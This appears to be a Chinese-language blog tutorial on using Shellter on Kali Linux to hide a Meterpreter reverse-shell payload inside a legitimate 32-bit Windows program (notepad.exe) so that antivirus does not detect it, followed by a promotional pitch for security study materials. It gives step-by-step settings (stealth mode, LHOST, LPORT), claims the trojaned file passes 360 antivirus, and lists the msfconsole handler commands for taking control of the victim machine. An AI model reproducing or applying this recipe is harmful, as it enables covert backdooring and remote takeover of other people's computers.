Shellter 是一款动态 shellcode 注入工具,我们可以将shellcode注入到其它程序上,从而来躲避杀毒软件的查杀。俗称为免杀
官网:https://www.shellterproject.com/ 目前最新版本是7.2,主程序是.exe文件所以在windows下可以直接使用,在linux上运行的话
就需要安装wine环境来运行。我使用的Kali Linux 版本是kali-linux-2020.2目前最新版本 注意的是shellter目前只能注入32位的可执行文件
开始安装:
1. apt-get update //更新一下
2. apt-get install shellter //直接apt在线安装
2cf997912ae6ba280bd276e2bba1e73d.png
安装完成后 ,终端直接输入shellter打开会报错,根据提示 我们直接执行命令dpkg –add-architecture i386 && apt-get update && apt-get install wine32
确认安装即可
dbbaa80f6bcace559af50ac265e88579.png
fe835f16b8d2923e58ebd0784ebdb5ad.png
现在我们打开shellter就可以打开运行了,工具安装完成后再/usr/share/windows-resources/shellter 这个文件夹
shellter目录下的Shellter_Backups文件夹是你注入文件后备份的文件夹,会自动把原文件备份一个到这个文件夹下。
免杀实验:
746dbb965fa47e64be08373d213265e9.png
Choose Operation Mode – Auto/Manual (A/M/H):A //选择模式 A 自动模式自动注入后门,M高级模式,H帮助
PE Target:/home/notepad.exe // 注入的程序 这里已windows系统自带的32位记事本程序举例
d4ef33a085785f1595bc9750903dabbf.png
Enable Stealth Mode? (Y/N/H): Y //是否启用隐身模式 输入Y启用
Use a listed payload or custom? (L/C/H): L //使用攻击模块列表或者自定义? 输入L 选择Payload
Select payload by index: 1 //选择第一个
0a0edb316253a2bfb5f1f0eefc512616.png
SET LHOST: 192.168.37.137 //设置反弹回来的IP 本机
SET LPORT:4444 //设置接收反弹的端口
7e5c54b6fdfefc1d5cd2cc612ccc3b5b.png
这样我们的木马后门shellcode就注入到这个文件里去了,
57c34f7ae82ad605a38b17fda5a69606.gif
开启360全部查杀引擎,更新病毒库,查杀一下试试效果,没有任何提示。
023e934691bfc76e8796f7c7d546e60b.png
打开msf,进行配置,
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost192.168.37.137set lport4444exploit //监听
这时运行带有后门的notepad.exe文件后,控制端成功连接上来,接下来就可以随意操作了。
网络安全学习资源推荐
最后给大家分享一份全套的网络安全学习籽料,给那些想学习,想转行网络安全的同学一点点帮助!
对于从来没有学习过网络安全的同学,我们帮你准备了一份详细的从入门到就业的学习路线图!我们公司几位大佬花了几天时间做出来的学习路线图,跟着这个学习,保证没问题!
同学们有需要的话可以v扫描下方二维码联系领取~
零基础入门
1.学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
2.学习视频
从基础到进阶都有学习视频提供
3.学习书籍推荐(PDF)
4.面试资料
因篇幅有限,籽料较为敏感仅展示部分籽料,添加上方即可获取↑